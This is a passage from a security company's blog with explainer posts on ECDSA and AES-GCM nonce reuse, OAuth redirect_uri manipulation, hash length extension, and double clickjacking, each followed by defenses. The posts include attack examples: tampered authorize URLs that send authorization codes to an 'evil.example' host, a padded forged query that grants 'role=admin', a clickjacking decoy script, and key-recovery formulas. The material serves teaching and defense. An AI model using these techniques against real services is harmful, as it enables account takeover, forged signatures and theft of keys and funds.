    Sony signed PS3 code with a fixed nonce, so its signing key fell out of any two binaries. In December 2010, at the 27th Chaos Communication Congress, the group fail0verflow presented Console Hacking 2010, in a talk people remember as “PS3 Epic Fail.” Sony signed the code that the PS3 would trust using ECDSA. The requirement is that k be a fresh random value every time. Sony’s implementation did not pick a random k at all. It used a constant, the same fixed number in every signature.

    A constant nonce is the worst case of the bug above. Every signed binary shared the same r, so any two of them gave up the private signing key through the same two subtractions. Researcher George Hotz later published Sony’s recovered key, after which anyone could sign code the console would accept as genuine. The key was baked into the hardware root of trust, so it could not be quietly rotated away. A single bad assumption about randomness undid the platform’s whole security model.

    What happened to Android Bitcoin wallets?

    In August 2013 the same flaw drained real money from Android wallets whose generator repeated itself. A bug in Android’s SecureRandom meant the generator was sometimes not seeded properly, so it returned predictable, repeating output. Bitcoin wallets on Android sign transactions with ECDSA, and a transaction with several inputs needs several signatures. With a broken generator, those signatures came out using the same k.

    Anyone watching the public blockchain could scan for two signatures from one address that shared an r value. Each collision exposed that wallet’s private key, and with the key an attacker simply moved the coins. The official Bitcoin alert named the affected wallets, and observers tracked dozens of bitcoin swept out of vulnerable addresses. The cryptography was fine. The random source underneath it was not.

    Is a tiny nonce bias also fatal?

    Yes. Full reuse is the loud case, but a slightly imperfect nonce is just as fatal. If k is even slightly predictable, say the top few bits are always zero because of a sloppy generator, each signature becomes a noisy hint about d. Collect a few hundred and the problem turns into a lattice problem, the hidden number problem, which solvers crack efficiently. The Biased Nonce Sense paper and real timing side channel attacks such as Minerva recovered full private keys from signatures that leaked only a handful of nonce bits. Partial nonce leakage is still total key compromise. Nonce reuse is just the loudest version of a problem that starts the moment k stops being uniform and secret.

    How do you generate nonces safely?

    The fix is to stop trusting a random number generator with something this fragile. Two approaches dominate.

    • Deterministic ECDSA. RFC 6979 specifies it. Instead of sampling k from a generator, derive it with HMAC from the private key and the message hash together. The same message and key always yield the same k, two different messages yield unrelated values, and there is no entropy source left to fail. It keeps the ECDSA wire format unchanged, so it drops into existing systems.
    • EdDSA and Ed25519. A newer scheme that makes deterministic nonces part of the design rather than a patch. The nonce is computed by hashing a secret prefix of the key with the message, so reuse across different messages cannot happen by construction. Ed25519 also avoids several other ECDSA footguns and is a strong default for new work.

    Both share one idea. Take the nonce out of the hands of a random generator that can be misseeded or cloned, and compute it from inputs you already trust.

    The shape of this bug rhymes with others where the primitive is sound and a usage rule gets broken. AES GCM nonce reuse hands over the authentication key the same way, by repeating a value that was supposed to be unique, and a padding oracle attack turns one stray error message into full plaintext recovery. In each case the math is fine and the assumption around it is what fails.

    What assumption does ECDSA quietly rely on?

    ECDSA assumes one thing about every signature: that k is fresh, secret, and uniform. The curve, the key sizes, and the hardness proofs all stand on that single premise. Sony assumed a constant would do. The Android wallets assumed the platform generator was seeded. Both assumptions looked fine on the line of code that made the signing call, and both handed over the private key. This is the kind of flaw you find by asking what a system quietly takes for granted and checking whether anything can make it false, not by scanning for a known bad pattern. That is exactly what an autonomous researcher built to test assumptions is meant to do. Read more on our about page.

    Frequently asked questions

    What is ECDSA nonce reuse?

    It is when an ECDSA signer uses the same per signature random number k for two different messages under the same private key. Because the signature value r depends only on k, both signatures end up with the same r, which is an obvious tell. From two such signatures an attacker solves a short pair of linear equations to recover k and then the long term private key.

    How does reusing k actually recover the private key?

    Two signatures with the same k give s1 = k^-1(z1 + r*d) and s2 = k^-1(z2 + r*d). Subtracting cancels the r*d term, so k = (z1 - z2) / (s1 - s2) mod n. Once k is known, the key is d = (s1*k - z1) / r mod n. It is two subtractions and two modular inverses, with no need to break the curve itself.

    What real systems were broken by this?

    The Sony PlayStation 3 used a constant k in every code signing signature, which fail0verflow exposed in 2010, letting anyone recover Sony’s private key. In 2013 a bug in Android’s SecureRandom produced repeating nonces, so Bitcoin wallets reused k and attackers swept coins out of affected addresses. In both cases the cryptography was sound and the nonce source was the failure.

    How do you prevent ECDSA nonce reuse?

    Stop relying on a random generator for k. RFC 6979 deterministic ECDSA derives k with HMAC from the private key and the message, so the same input always gives the same nonce and there is no entropy source to misfire. EdDSA and Ed25519 make deterministic nonces part of the design. Note that even partial nonce bias is fatal, since lattice attacks recover keys from many signatures that leak only a few nonce bits.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • OAuth redirect_uri Manipulation: How a Loose Callback Check Leaks Your Code

    OAuth redirect_uri Manipulation: How a Loose Callback Check Leaks Your Code

    You sign in with a button, get bounced to an authorization server, approve, and land back on the app already logged in. The piece that makes that round trip work is one URL: the redirect_uri. OAuth redirect_uri manipulation is what happens when the authorization server is careless about checking that URL, so an attacker can point the authorization code or token at a server they own and walk away with your session. The flow looks normal to the user. The code just lands in the wrong place.

    A quick frame: where the code goes

    In the OAuth 2.0 authorization code flow, the app sends the user to the authorization server with a request like this:

    https://auth.acme-notes.com/authorize?
      response_type=code&
      client_id=app123&
      redirect_uri=https://app.acme-notes.com/callback&
      scope=read&
      state=xyz789

    The user logs in and approves. The authorization server then sends them back by redirecting the browser to the redirect_uri with a short lived code attached:

    https://app.acme-notes.com/callback?code=AUTH_CODE_HERE&state=xyz789

    The app’s backend takes that code, exchanges it for an access token, and the user is in. The whole security of this step rests on one idea: the code must only ever be delivered to a URL the real app controls. The redirect_uri is the address label on the package. If the server lets the client write any label it wants, the package goes wherever the attacker says.

    OAuth redirect_uri manipulation: the validation failures that leak the code

    The fix is supposed to be simple. The client registers its callback URL ahead of time, and the server only sends codes to a URL that matches what was registered. The bugs all come from matching too loosely. Here are the common ways that check fails.

    No exact match, so subpaths and query params slip through

    Say the registered URL is https://app.acme-notes.com/callback and the server checks only that the incoming value starts with that string. Now an attacker can append a path or a query:

    redirect_uri=https://app.acme-notes.com/callback/../evil
    redirect_uri=https://app.acme-notes.com/callback?next=https://evil.example

    If any endpoint on that host bounces the request onward, the code travels with it. That is a classic open redirect chained into OAuth. The host matches. The destination does not.

    Wildcard or substring matching

    Some servers allow a wildcard like https://*.acme-notes.com/callback for convenience across subdomains. If an attacker can register or control any subdomain, even a forgotten one, they get a matching callback:

    redirect_uri=https://attacker-controlled.acme-notes.com/callback

    Substring checks are worse. A server that just looks for acme-notes.com anywhere in the value accepts this:

    redirect_uri=https://acme-notes.com.evil.example/callback

    The real domain is right there in the string. It is also just a subdomain of evil.example, which the attacker owns.

    Missing registration entirely

    If the client never registered a redirect_uri, or the server allows any value when none is registered, there is nothing to match against. The attacker sets the callback to their own server and the code is handed straight over.

    Chaining with an open redirect on the legitimate domain

    This is the one that bites teams who thought they did everything right. Suppose exact matching works and only https://app.acme-notes.com/callback is accepted. But somewhere else on that same host there is an old marketing endpoint that redirects wherever a parameter says:

    https://app.acme-notes.com/go?url=https://evil.example

    The attacker cannot change the registered callback. They do not need to. They craft an authorize URL with the exact, valid redirect_uri, and inside the app’s own flow the code lands on a page that then forwards the browser, fragment and query intact, to the attacker. The OAuth check passed. The open redirect did the rest.

    The authorization code is a bearer token for your account. Whoever it reaches first wins. Loose redirect_uri matching just hands them the address.

    A concrete walkthrough

    Here is the tampered request next to the honest one. The attacker sends a victim a link that looks like a normal login. The only change is the callback:

    // Honest
    https://auth.acme-notes.com/authorize?response_type=code&
      client_id=app123&redirect_uri=https://app.acme-notes.com/callback&state=xyz789
    
    // Tampered, on a server with loose matching
    https://auth.acme-notes.com/authorize?response_type=code&
      client_id=app123&redirect_uri=https://app.acme-notes.com.evil.example/callback&state=xyz789

    The victim is already logged in to the authorization server, so they may not even see a prompt. The server validates the callback with a substring check, decides it is fine, and redirects:

    https://app.acme-notes.com.evil.example/callback?code=AUTH_CODE_HERE&state=xyz789

    The attacker’s server logs the code, exchanges it for a token, and is now inside the victim’s account. The victim never typed a password into a fake page. They used the real one.

    Why PKCE and state help but do not fully fix this

    Two protections often get named as the answer here. They are good. They are not a replacement for matching the URL.

    • State stops cross site request forgery on the callback. It ties the response back to the request the browser actually started. It does nothing about where the code is delivered. A stolen code with a matching state is still a stolen code.
    • PKCE binds the code to a secret the real client holds, so a leaked code cannot be exchanged without the matching verifier. That blocks many theft scenarios. But if the attacker controls the page the code lands on, in a public client running in the browser, the verifier can leak through the same channel. PKCE also does not help when the attacker can run script on a matched host through a chained open redirect.

    This is the same lesson as other authentication bugs where one weak check undoes the rest of the protocol. It shows up in SAML signature wrapping, where a valid signature guards the wrong bytes, and in JWT algorithm confusion, where the token verifies but with the attacker’s key. The clever parts of the flow do not save you if the boring check at the edge is loose.

    Defenses that actually close it

    • Exact string match on registered redirect URIs. Compare the full incoming value against the full registered value, byte for byte. No prefix checks, no normalization that strips paths, no host only comparisons.
    • No wildcards. Do not allow * in registered URLs. Register each full callback your app uses, even if that means a longer list.
    • Register complete URIs. Scheme, host, port, and path, all fixed. Never accept a request with no registered value to match against.
    • Kill open redirects on allowed hosts. Audit every endpoint on a host that holds a valid callback. An open redirect anywhere on that host reopens this bug even with perfect matching.
    • Use PKCE and state. Add them as layers, not as the fix. They cut the value of a leaked code and block CSRF on the callback.
    • Prefer the authorization code flow with strict matching. Avoid handing tokens back directly in a redirect. Deliver a code to one exact registered URL and exchange it server side.

    The assumption that breaks

    Strip away the parameters and one assumption is left. The server assumes the redirect_uri it receives is one it agreed to. That holds only when the comparison is exact and every allowed host is clean of open redirects. The bug is rarely a single obvious flaw. It is a loose match plus a stray redirect two teams away, and only chaining them shows the leak. This is the kind of issue you find by asking what a system trusts, where it checks, and whether two safe looking pieces combine into an unsafe one. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about how checks chain, rather than scanning for one known pattern, is what an autonomous researcher that tests assumptions is built to do. Read more on our about page.

    Frequently asked questions

    What is OAuth redirect_uri manipulation?

    It is an attack where the authorization server validates the redirect_uri loosely, so an attacker can change it and have the authorization code or token delivered to a server they control. In the OAuth 2.0 authorization code flow the server sends the code back to the redirect_uri, so whoever that URL points at receives the code. If the check is not an exact match against a registered URL, the attacker redirects the code to their own host and takes over the account.

    How does an attacker exploit a loose redirect_uri check?

    They craft an authorize URL with a tampered callback and trick a logged in user into opening it. Common failures: prefix or substring matching that accepts https://acme-notes.com.evil.example/callback, wildcards like https://*.acme-notes.com/callback on a subdomain they control, no registered value to match against, or an open redirect on the legitimate host that bounces the code onward even when matching is exact. In each case the code lands on the attacker’s server.

    Do PKCE and state stop redirect_uri manipulation?

    They help but do not fully fix it. State stops cross site request forgery on the callback but does nothing about where the code is delivered. PKCE binds the code to a secret the real client holds, so a leaked code is harder to exchange, but in a public browser client the verifier can leak through the same channel the code does, and PKCE does not help when the attacker runs script on a matched host through a chained open redirect. Treat both as layers, not as the fix.

    How do you prevent OAuth redirect_uri manipulation?

    Match the full registered redirect URI exactly, byte for byte, with no prefix checks or wildcards. Register complete URIs with scheme, host, port, and path, and never accept a request with no registered value. Audit every endpoint on any host that holds a valid callback and remove open redirects, since one open redirect reopens the bug even with exact matching. Add PKCE and state as extra layers, and prefer the authorization code flow with strict matching over returning tokens in a redirect.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • AES GCM Nonce Reuse: The Forbidden Attack Explained

    AES GCM Nonce Reuse: The Forbidden Attack Explained

    AES GCM is one of the most used authenticated encryption modes on the internet. It gives you both secrecy and a check that nobody tampered with the message, and it is fast. It also has one rule that, if broken, turns a strong cipher into a weak one: every message encrypted under a given key must use a fresh, unique nonce. AES GCM nonce reuse breaks both halves of that promise. Repeat a nonce under the same key and an attacker can read relationships between your messages and, worse, forge valid tags for messages you never sent.

    How AES GCM works, briefly

    GCM stands for Galois Counter Mode. It bolts two pieces together. The first is a keystream. AES runs in counter mode, so AES never touches your plaintext directly. It encrypts a sequence of counter blocks built from the nonce, producing a stream of pseudo random bytes, and your ciphertext is the plaintext XORed with that keystream.

    The second piece is the authentication tag. GCM computes a polynomial MAC called GHASH over the ciphertext and any associated data. GHASH uses a secret value called H, which is AES applied to an all zero block under your key. The result is mixed with a value derived from the nonce to form the tag the receiver checks.

    So one encryption produces two outputs that both depend on the nonce: the keystream that hides the plaintext, and the tag that detects tampering. The nonce is the only thing that changes between two messages under the same key. That is why it has to be unique.

    Why AES GCM nonce reuse is catastrophic

    Reuse hits both pieces. Think of it as two failures that happen together.

    Failure one: the keystream repeats

    Counter mode turns a block cipher into a stream cipher, and the cardinal rule of any stream cipher is that you never reuse the keystream. With GCM the keystream is fully determined by the key and the nonce. Same key, same nonce, same keystream. So if you encrypt two messages, P1 and P2, with the same key and nonce, you get:

    C1 = P1 XOR keystream
    C2 = P2 XOR keystream
    
    C1 XOR C2 = (P1 XOR keystream) XOR (P2 XOR keystream)
              = P1 XOR P2

    The keystream cancels out. The attacker now holds the XOR of two plaintexts and never needed the key. If one message is known or guessable, the other falls out directly. Even with two unknown messages, the XOR of English text or structured JSON leaks a lot. No key was broken. Secrecy evaporated because the same mask was used twice.

    Failure two: the forbidden attack recovers the auth key

    This is the part that surprises people. The integrity guarantee collapses too. GHASH is a polynomial evaluated at the secret point H in a finite field, and the tag is, roughly, that polynomial plus a nonce dependent mask.

    When two messages share a nonce, that mask is identical for both. Subtract one tag equation from the other and the mask cancels, the same way the keystream did. What remains is a polynomial in a single unknown, H. Every coefficient is known except H, so solving for the roots in the field recovers the authentication subkey.

    Reusing a nonce does not just leak one message. It can hand the attacker the key to GHASH, after which they forge valid tags for messages of their choosing and the receiver accepts them as genuine.

    Once H is known, the attacker can compute the GHASH of any ciphertext they like and produce a tag the receiver will verify. That is the forbidden attack, the documented consequence of doing the one thing GCM tells you never to do.

    How nonces actually get reused in the wild

    Nobody writes “reuse the nonce” on purpose. It happens through ordinary mistakes.

    Random 96 bit nonces and the birthday bound

    The recommended nonce for GCM is 96 bits, often generated at random because that is easy. Random looks safe, but random values collide. The birthday bound says you expect a repeat after roughly two to the power of n over two values for an n bit space, which for 96 bit nonces is around two to the 48th messages under one key. For a single laptop that is plenty of headroom. For a fleet of servers sharing one key at high volume, two to the 48th is reachable, and a single collision is enough to start the attack.

    Counters that reset on reboot

    A counter based nonce is safer than random, but only if it never goes backward. A device that keeps its counter in memory and restarts at zero after a crash or reboot will re emit nonces it already used. Same key across reboots plus a counter that resets equals guaranteed reuse.

    One key shared across many encryptors

    Spread the same key across several machines and you have to coordinate their nonces. If two of them independently pick from the same range, they emit the same nonce under the same key. Cloning a virtual machine that already holds key and counter state quietly duplicates nonces across every clone.

    How to defend against it

    The defenses are concrete and they stack. None of them require new cryptography.

    • Never reuse a nonce under a key. Treat that as a hard invariant. Everything below serves this one rule.
    • Prefer a deterministic counter over randomness. A 96 bit nonce made of a per message counter that strictly increases and never wraps avoids birthday collisions entirely. Persist the counter so a reboot cannot rewind it.
    • If you must use random nonces, cap messages per key. Stay well under the birthday bound, then rotate.
    • Rotate keys often. A fresh key resets the whole nonce space and limits how much data a recovered H exposes.
    • Use a misuse resistant scheme when reuse is plausible. AES GCM SIV derives its internal value from both the nonce and the message, so a repeated nonce leaks only whether two identical plaintexts were sent, never the authentication key. It is the right default for distributed encryptors that cannot perfectly coordinate.
    • Coordinate nonces across machines. If many encryptors share a key, give each a distinct nonce prefix so their ranges cannot overlap, or give each its own key.
    • Generate nonces from a real CSPRNG. A weak or seeded generator produces predictable or repeating values. Use the platform secure random source.

    Notice the shape of this bug. It is not a flaw in AES. It is a broken assumption about how the mode is used, that every nonce is unique. The same pattern shows up across cryptography, where the math is sound but a usage rule gets quietly violated. A padding oracle attack turns a tiny error message into full plaintext recovery, and JWT algorithm confusion tricks a verifier into trusting the wrong key. In every case the primitive is fine and the integration around it breaks.

    The assumption that breaks

    AES GCM nonce reuse is a clean example of a security property that depends entirely on how the system is built around the cipher. The encryption is strong and the mode is strong. The failure lives in a counter that resets, a key copied to too many places, or a random nonce drawn one too many times. Those assumptions get missed in code review because the library call looks correct on its own line. This is the kind of bug you find by asking what a system assumes and then checking whether anything can make that assumption false. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. That is what an autonomous researcher is built to do. Read more on our about page.

    Frequently asked questions

    What is AES GCM nonce reuse?

    It is the mistake of encrypting two or more messages with the same key and the same nonce in AES GCM. GCM needs a unique nonce per key because the nonce determines both the counter mode keystream and the value mixed into the authentication tag. Reuse it and the keystream repeats, which lets an attacker XOR two ciphertexts to cancel the mask and recover plaintext relationships, and it also exposes the GHASH authentication subkey. It is a usage error, not a flaw in AES itself.

    What is the forbidden attack on AES GCM?

    The forbidden attack is the integrity failure that follows a repeated nonce. The GCM tag is a polynomial in a secret value H, plus a mask that depends only on the nonce. When two messages share a nonce, that mask is identical, so subtracting the two tag equations cancels it and leaves a polynomial in the single unknown H. The attacker knows the ciphertexts and tags, so they solve for the roots in the finite field and recover H. With H known, they can forge valid tags for arbitrary messages the receiver will accept.

    How do nonces get reused by accident?

    Several ordinary ways. Random 96 bit nonces collide after roughly two to the 48th messages under one key because of the birthday bound, which a busy fleet can reach. Counter based nonces stored only in memory reset to zero after a crash or reboot and re emit old values. Sharing one key across many machines or cloning a virtual machine that already holds key and counter state lets two encryptors pick the same nonce. A weak random source can also repeat or predict nonces.

    How do you prevent AES GCM nonce reuse?

    Treat a unique nonce per key as a hard rule. Prefer a strictly increasing counter that is persisted so a reboot cannot rewind it. If you use random nonces, cap messages per key well under the birthday bound and rotate keys often. Give each encryptor a distinct nonce prefix or its own key so distributed machines cannot overlap. When reuse is plausible, use a misuse resistant scheme like AES GCM SIV, which limits the damage of a repeated nonce to leaking only whether two plaintexts were identical, never the authentication key.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Hash Length Extension Attack: How to Forge a MAC Without the Secret

    Hash Length Extension Attack: How to Forge a MAC Without the Secret

    You built a tiny security check. Take a secret key, stick the message after it, hash the whole thing, and send that hash as a signature. If someone tampers with the message, the hash will not match, so you are safe. That feeling of safety is wrong. A hash length extension attack lets an attacker take your signature and the message, append their own data, and produce a valid signature for the longer message, all without ever learning the secret key.

    The broken pattern: a MAC built as H(secret || message)

    A message authentication code, or MAC, proves two things at once. The message has not changed, and it came from someone who holds the secret. The naive way to build one is to glue the secret in front of the message and hash it:

    sig = SHA256(secret + message)

    The server knows the secret, recomputes SHA256(secret + message) on each request, and checks the sig matches. Looks reasonable. The secret is never sent, an attacker cannot guess it, and any edit to the message changes the hash. The problem is not the secret. It is how SHA256, SHA1, and MD5 are built on the inside.

    Merkle Damgard: why the digest is resumable state

    MD5, SHA1, and SHA256 all share a design called the Merkle Damgard construction, named after its two inventors. It works in three steps.

    • Pad the input. The hash works on fixed size blocks, 64 bytes for these functions. A padding tail is added so the total length is a clean multiple of the block size: a single 0x80 byte, then zero bytes, then the original message length encoded as a number at the very end.
    • Process block by block. Start with a fixed initial state. Mix in the first block, then mix the next block into the updated state, and keep going until every block is consumed.
    • Output the state. When the last block is done, the internal state IS the final hash. The digest you print as hex is a direct copy of the machine’s internal registers.

    Read that last point again, because it is the whole attack. The output is not a one way summary of the state. It is the state. Nothing is hidden or thrown away on the way out.

    The digest is not a fingerprint of the internal state. It is the internal state, copied straight out. So whoever holds the digest can sit down at the machine and keep hashing from exactly where it stopped.

    How a hash length extension attack actually works

    Imagine the server signs API requests with SHA256(secret + message). You intercept one, so you have the message and the signature but not the secret. Here is what you can do anyway.

    The signature you hold is the internal state of the hash right after it processed secret + message + padding. Load that state into your own SHA256 engine, resume hashing as if it never stopped, and feed it any extra bytes you want. The new output is a valid hash of secret + message + padding + extra, produced without the secret.

    A concrete example: from user to admin

    Say the signed request is a query string. The server hashed the secret plus the part after the question mark.

    ?user=bob&role=user&sig=2f1a...c9

    You want to add &role=admin and still have a valid sig. You do not know the secret, but you can guess its length and try each likely value in turn. For one guess, the steps are:

    • Load the known sig value as the resumable state of a fresh SHA256.
    • Work out the padding the hash would have added after secret + "user=bob&role=user". That depends only on the total length, which is the secret length guess plus the known message length.
    • Resume the hash, feed it your extra data &role=admin, and read out the new digest. That is your forged signature.

    The message you send is the original bytes, then the glue padding, then your extra data:

    user=bob&role=user\x80\x00\x00...[length bits]...&role=admin

    When the server computes SHA256(secret + that_whole_thing), it lands on the exact state you predicted, so your forged sig matches. Most query string and form parsers ignore the padding bytes or treat duplicate keys as last value wins, so the server reads role=admin and you are now an admin. You never saw the secret. You only needed the original hash and a guess at the secret length, which you can brute force from 1 to maybe 64 in under a second. A tool called hash_extender does the whole computation for you.

    Why this breaks naive secret prefix MACs but not encryption

    The attack does not decrypt anything and does not reveal the secret. It just continues a computation. That narrow ability is enough, because the only thing standing between an attacker and a valid signature is the ability to compute the final hash, and the published hash hands them the starting point for free.

    It is the same family of mistake as trusting a value you do not fully control. A padding oracle attack turns a small leak about padding into full plaintext recovery, and a JWT algorithm confusion attack tricks a verifier into accepting a token signed the wrong way. All three share a root: a design assumed an attacker could not do one thing, and the construction quietly let them do it.

    The fix: use HMAC, or a hash that resists this

    The good news is that this is a solved problem.

    • Use HMAC. HMAC wraps the hash in two keyed passes, roughly H(key2 + H(key1 + message)). The outer hash hides the inner state, so the published value is no longer a resumable state of secret + message. Length extension does not work against it. Reach for HMAC over SHA256 and your existing SHA256 is safe to use.
    • Or use a hash that is not Merkle Damgard. SHA3 uses a sponge construction and BLAKE2 has built in keying. Neither exposes a resumable internal state in the output, so H(secret + message) with these is not vulnerable to this attack. HMAC is still the more standard choice for a MAC.
    • Never roll your own keyed hash. SHA256(secret + message) looks obviously fine and is obviously broken. Stop hand building MAC schemes from raw hash functions and call the HMAC function your language already ships.

    If you inherit code that signs with a bare hash(secret + data), treat it as a finding, not a style nitpick. Swapping it to HMAC is a small change with a large payoff.

    How to spot it in a real app

    You rarely see the words “length extension” in a codebase. You see the shape that allows it:

    • A signature computed as md5(secret . data), sha1(key + payload), or any concatenation of a key and a message fed straight into a plain hash.
    • An API that accepts a sig field and verifies it by recomputing a hash over a secret and request data.
    • Parameters where the last duplicate key wins, which lets an appended &role=admin override the real value cleanly.

    A scanner looking for known bad strings walks right past sha256(secret + message), because there is no payload to match. The bug is in the design assumption, not in any one line. Catching it means understanding what the code is trying to prove and asking whether the math actually proves it. That is the kind of reasoning an autonomous researcher that tests assumptions is built for. In our own early work a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before, an encouraging early signal rather than a benchmark. For the wider approach, read more on our about page.

    Frequently asked questions

    What is a hash length extension attack?

    It is an attack against signatures built as a plain hash of a secret followed by a message, like SHA256(secret + message). Because hashes such as MD5, SHA1, and SHA256 use the Merkle Damgard construction, their output is the resumable internal state of the hash. An attacker who knows the original hash and the length of the secret can resume the computation and append extra data, producing a valid hash for the longer message without ever learning the secret.

    Which hash functions are vulnerable?

    The Merkle Damgard hashes are vulnerable: MD5, SHA1, SHA256, and SHA512 all expose their full internal state in the digest. SHA-3 uses a sponge construction and BLAKE2 has built in keying, so neither leaks a resumable state and neither is vulnerable to this attack. The vulnerability is in how the bare hash is used as a MAC, not only in the hash itself.

    Does the attacker need to know the secret?

    No. That is what makes the attack work. The attacker needs the original message, the original hash, and the length of the secret. The secret length can be brute forced by trying each value from 1 to about 64, since each guess produces a candidate forgery to test. The secret itself is never recovered and never needs to be.

    How do you fix a hash length extension attack?

    Use HMAC instead of a hand built keyed hash. HMAC wraps the hash in two keyed passes, so the published value is no longer a resumable internal state and length extension fails. Reach for HMAC-SHA256 from your standard library. You can also use SHA-3 or BLAKE2, which are not vulnerable, but the main rule is to never roll your own MAC as hash(secret + message).


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Double Clickjacking: The Clickjacking Revival That Beats Frame Defenses

    Double Clickjacking: The Clickjacking Revival That Beats Frame Defenses

    You see a normal looking page. It says “Please double click to confirm you are human,” with a single button in the middle. You double click. By the time your second click lands, the button under your cursor is no longer the one you saw. It is a real “Authorize” button on a site where you are already logged in, and you just granted an app full access to your account. That is double clickjacking, a technique published by Paulos Yibelo in 2024. It revives an old idea that browsers were supposed to have killed, and it does so by abusing the gap between the two clicks of a double click.

    The classic defense baseline

    Old school clickjacking loaded a target site inside an invisible iframe on the attacker’s page. The attacker made the real frame transparent and lined up its sensitive button with whatever the user thought they were clicking. The click passed through to the framed site. The user believed they pressed “Play video.” They actually pressed “Delete account” or “Send money.”

    Browsers and sites pushed back with three controls, and together they shut most of this down:

    • X-Frame-Options. A response header that tells the browser whether a page may be framed at all. Set it to DENY and no other site can put your page in an iframe.
    • frame-ancestors in Content Security Policy. The modern replacement. Content-Security-Policy: frame-ancestors 'none' does the same job with more control over who is allowed to frame you.
    • SameSite cookies. Marking a session cookie SameSite=Lax or Strict means the browser does not attach it to many cross site requests, so a framed action often runs logged out and fails.

    These work because they all assume the same thing: the attack needs the target page to be rendered inside a frame the attacker controls. Block the frame, block the attack.

    Why double clickjacking sidesteps every one of them

    Here is the move. Double clickjacking does not render the target inside a frame during the click. It puts the target in the top level window, the real tab, at the exact moment the second click happens. No frame is involved in the sensitive action, so frame busting headers have nothing to bite on.

    The frame defenses guard against being embedded. They say nothing about what your top window shows between the first and second click. That timing gap is the whole attack.

    X-Frame-Options and frame-ancestors only fire when a page is loaded as a sub frame. The target here loads as a normal navigation in a window the user already trusts. SameSite cookies do not help either, because the sensitive page is the user’s own first party session. The user is logged in, on the real domain, clicking a real button. Nothing looks cross site at all.

    The timing trick, step by step

    This is the conceptual flow, kept defensive so you can recognize it and design against it. The point is to see the shape, not to build it.

    • Step one. The user lands on an attacker page with a believable reason to double click. “Double click to verify,” a fake captcha, a “double click to close this ad.”
    • Step two. The first mousedown triggers JavaScript that opens a new top window pointed at the target’s sensitive page, an OAuth consent screen or an account action where the user is already authenticated.
    • Step three. In the same instant, the original page closes its own parent so the second click of the double click falls onto the now focused target window, right where its “Authorize” or “Confirm” button sits.
    • Step four. The second click lands on the real button. The action completes. The decoy is gone before the user can read what happened.

    The user only ever decided to double click a harmless prompt. The browser saw two ordinary clicks. The target site saw one legitimate click from a logged in user on its own page. Every layer behaved as designed, and the account still got compromised.

    A sketch of the bait

    The attacker side is mundane. The danger is in the window juggling that follows, not in clever markup. A stripped down decoy looks this innocent:

    <!-- attacker decoy page, simplified -->
    <div id="prompt">
      <p>Please double click to verify you are human</p>
      <button id="verify">Double click here</button>
    </div>
    
    <script>
      // On the FIRST press, open the real target as a top window.
      document.getElementById('verify')
        .addEventListener('mousedown', openTarget);
    
      function openTarget() {
        // Target is the user's own authenticated consent/settings page.
        window.open('https://app.example.com/oauth/authorize?...');
        // The decoy then gets out of the way so the SECOND click
        // of the same double click lands on the real button.
      }
    </script>

    Notice what is not here: no iframe wrapping the target, no transparent overlay on top of app.example.com. That absence is exactly why the frame headers never trigger.

    What gets targeted

    The attack pays off wherever a single click does something important on a page where the victim is already signed in:

    • OAuth consent screens. One “Authorize” click can hand a third party app read and write access to your email, files, or repos. This is the prize target, because the grant is durable and quiet.
    • Account changes. “Confirm new email,” “add this device,” “disable two factor,” “make this user an admin.” Anything gated by one confirmation button.
    • One click approvals. Payment confirmations, friend or follow grants, app install prompts, any flow that bragged about being a single click.

    This sits in the same family as CSRF, where the attacker gets the victim’s browser to perform an action they did not intend. The difference is the path. CSRF forges the request in the background. Double clickjacking borrows a real, deliberate click from the user. It also differs from CORS misconfiguration, where the leak comes from a server reading cross origin responses it should not. Double clickjacking never needs to read anything. It only needs the click to land.

    Defenses that actually fit this

    Keep the frame headers, they still stop classic clickjacking. But they do not cover this case, so the real defenses live in how your sensitive actions are designed.

    Make a single stray click not enough

    • Require a non trivial gesture. A sensitive action should not complete on one bare click. Ask for a typed confirmation, a checkbox the user must tick first, or a drag, something a hijacked second click cannot satisfy on its own.
    • Disable the button until the page settles. Yibelo’s proposed defense keeps the dangerous button inert until a short delay passes or a real interaction signal arrives, like the user moving the mouse or scrolling on that page. A button that wakes up only after genuine engagement cannot be hit by a click that arrived in the same millisecond the window opened.

    Refuse to trust a fresh, unattended click

    • Re authenticate for high impact actions. Prompt for the password, a passkey, or a code before granting OAuth scopes or changing security settings. A stolen click cannot type a password.
    • Avoid one click authorize. For consent flows, add a deliberate second step that is not a single button, such as reviewing the exact scopes and confirming them. Friction here is the feature.
    • Watch the window context. Yibelo also suggested browser side and page side signals, like noticing when a page was opened and immediately focused, and treating that as suspicious for sensitive actions. On your own pages you can check whether the window just received focus before honoring a critical click.

    Keep the old protections too

